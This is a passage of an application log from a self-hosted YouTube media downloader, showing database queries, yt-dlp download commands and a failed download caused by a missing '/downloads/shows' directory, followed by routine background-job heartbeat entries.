m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 18:04:09.484 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:04:09.486 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=56.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 18:04:09.489 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.2ms idle=59.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 18:04:09.491 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=29.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 18:04:09.496 [debug] QUERY OK source="media_metadata" db=1.2ms idle=23.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 18:04:09.497 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.2ms idle=22.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 18:04:09.501 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=12.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:09.502 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:09.505 [debug] Running yt-dlp command for action: get_downloadable_status 18:04:09.508 [debug] QUERY OK source="settings" db=0.8ms idle=16.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:09.510 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=13.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:09.511 [debug] QUERY OK source="settings" db=0.4ms idle=12.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:09.512 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/cd/9ccdf91b08f6da71b58f0c981b64c62be643b0efdc9f286af89669fc7d543596.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:04:17.633 [info] {"source":"oban","duration":21743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:19.852 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/cd/9ccdf91b08f6da71b58f0c981b64c62be643b0efdc9f286af89669fc7d543596.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:04:19.852 [debug] Running yt-dlp command for action: download 18:04:19.853 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=417.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:19.854 [debug] QUERY OK source="settings" db=0.3ms idle=418.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:19.854 [debug] QUERY OK source="settings" db=0.2ms idle=419.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:04:19.855 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/94/11/941162e0e8fe4bd9ea5fa25135041a39d834d60dc9caf83ba94995257e7f245a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:04:28.254 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/94/11/941162e0e8fe4bd9ea5fa25135041a39d834d60dc9caf83ba94995257e7f245a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 18:04:28.254 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 18:04:28.262 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":18783210,"event":"job:exception","queue_time":510616,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:04:47.653 [info] {"source":"oban","duration":17156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.213 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:17.660 [info] {"source":"oban","duration":5532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:47.685 [info] {"source":"oban","duration":23786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.224 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:17.692 [info] {"source":"oban","duration":3076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:47.719 [info] {"source":"oban","duration":20049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.226 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:17.737 [info] {"source":"oban","duration":18212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:47.745 [info] {"source":"oban","duration":2702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.229 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:17.751 [info] {"source":"oban","duration":2224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:47.754 [info] {"source":"oban","duration":2521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.231 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:17.762 [info] {"source":"oban","duration":3389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:47.766 [info] {"source":"oban","duration":2358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.234 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:17.773 [info] {"source":"oban","duration":3847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:47.778 [info] {"source":"oban","duration":2885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.237 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:17.783 [info] {"source":"oban","duration":2749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:47.789 [info] {"source":"oban","duration":2895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.240 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:17.801 [info] {"source":"oban","duration":2588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:47.806 [info] {"source":"oban","duration":2703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.245 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:17.812 [info] {"source":"oban","duration":3546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:47.815 [info] {"source":"oban","duration":2575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.248 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:17.828 [info] {"source":"oban","duration":2308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:47.832 [info] {"source":"oban","duration":1975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.256 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:17.841 [info] {"source":"oban","duration":3665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:47.847 [info] {"source":"oban","duration":2135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.260 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:17.853 [info] {"source":"oban","duration":2395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:47.857 [info] {"source":"oban","duration":2803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.267 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:17.861 [info] {"source":"oban","duration":2736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:47.868 [info] {"source":"oban","duration":2724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.269 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:17.871 [info] {"source":"oban","duration":2874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:47.874 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.272 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:17.879 [info] {"source":"oban","duration":2014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:47.883 [info] {"source":"oban","duration":2854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.277 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:17.888 [info] {"source":"oban","duration":2559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:47.893 [info] {"source":"oban","duration":2441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.278 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:17.902 [info] {"source":"oban","duration":2794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:47.914 [info] {"source":"oban","duration":2217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.290 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:17.919 [info] {"source":"oban","duration":2700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:47.930 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.293 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:17.938 [info] {"source":"oban","duration":2609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:47.947 [info] {"source":"oban","duration":2430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.299 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:17.951 [info] {"source":"oban","duration":3154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:47.956 [info] {"source":"oban","duration":3728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.301 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:17.961 [info] {"source":"oban","duration":2446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:47.966 [info] {"source":"oban","duration":3115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.304 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:17.970 [info] {"source":"oban","duration":2442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:47.975 [info] {"source":"oban","duration":2816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.307 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:17.980 [info] {"source":"oban","duration":3088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:47.994 [info] {"source":"oban","duration":3341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.319 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:17.999 [info] {"source":"oban","duration":2621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:48.004 [info] {"source":"oban","duration":2705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.323 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:18.010 [info] {"source":"oban","duration":2925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:48.015 [info] {"source":"oban","duration":3264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.325 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:18.021 [info] {"source":"oban","duration":4146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:48.027 [info] {"source":"oban","duration":3587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.328 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:18.032 [info] {"source":"oban","duration":3283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:48.038 [info] {"source":"oban","duration":2859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.332 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:18.043 [info] {"source":"oban","duration":3028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:48.047 [info] {"source":"oban","duration":2763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.335 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:18.051 [info] {"source":"oban","duration":2191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:48.056 [info] {"source":"oban","duration":2913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.341 [info] {"source":"oban","duration":1950,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:18.061 [info] {"source":"oban","duration":3206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:48.066 [info] {"source":"oban","duration":3170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.345 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:18.072 [info] {"source":"oban","duration":2716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:48.079 [info] {"source":"oban","duration":3509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.354 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:18.086 [info] {"source":"oban","duration":4404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:48.092 [info] {"source":"oban","duration":2979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.358 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:18.101 [info] {"source":"oban","duration":3645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:48.114 [info] {"source":"oban","duration":2869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.363 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:18.122 [info] {"source":"oban","duration":2810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:48.128 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.375 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:18.132 [info] {"source":"oban","duration":2731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:48.136 [info] {"source":"oban","duration":2799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.379 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:18.143 [info] {"source":"oban","duration":3269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:48.157 [info] {"source":"oban","duration":7890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.383 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:18.162 [info] {"source":"oban","duration":2792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:48.173 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.388 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:18.182 [info] {"source":"oban","duration":3550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:48.190 [info] {"source":"oban","duration":3012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.392 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:18.206 [info] {"source":"oban","duration":4309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:48.218 [info] {"source":"oban","duration":3666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.399 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:18.226 [info] {"source":"oban","duration":3863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:48.232 [info] {"source":"oban","duration":3611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.402 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:18.240 [info] {"source":"oban","duration":2355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:48.245 [info] {"source":"oban","duration":3256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.412 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:18.249 [info] {"source":"oban","duration":2641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:48.258 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.416 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:18.264 [info] {"source":"oban","duration":3195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:48.273 [info] {"source":"oban","duration":3255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.422 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:18.281 [info] {"source":"oban","duration":2949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:48.287 [info] {"source":"oban","duration":3184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.426 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:18.290 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:48.294 [info] {"source":"oban","duration":2535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.434 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:18.298 [info] {"source":"oban","duration":2328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:48.305 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.436 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:18.312 [info] {"source":"oban","duration":2358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:48.318 [info] {"source":"oban","duration":3044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.446 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:18.332 [info] {"source":"oban","duration":2869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:48.341 [info] {"source":"oban","duration":2335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.449 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:18.354 [info] {"source":"oban","duration":10664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:48.359 [info] {"source":"oban","duration":2481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.451 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:18.362 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:48.373 [info] {"source":"oban","duration":2286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.464 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:18.377 [info] {"source":"oban","duration":2832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:48.382 [info] 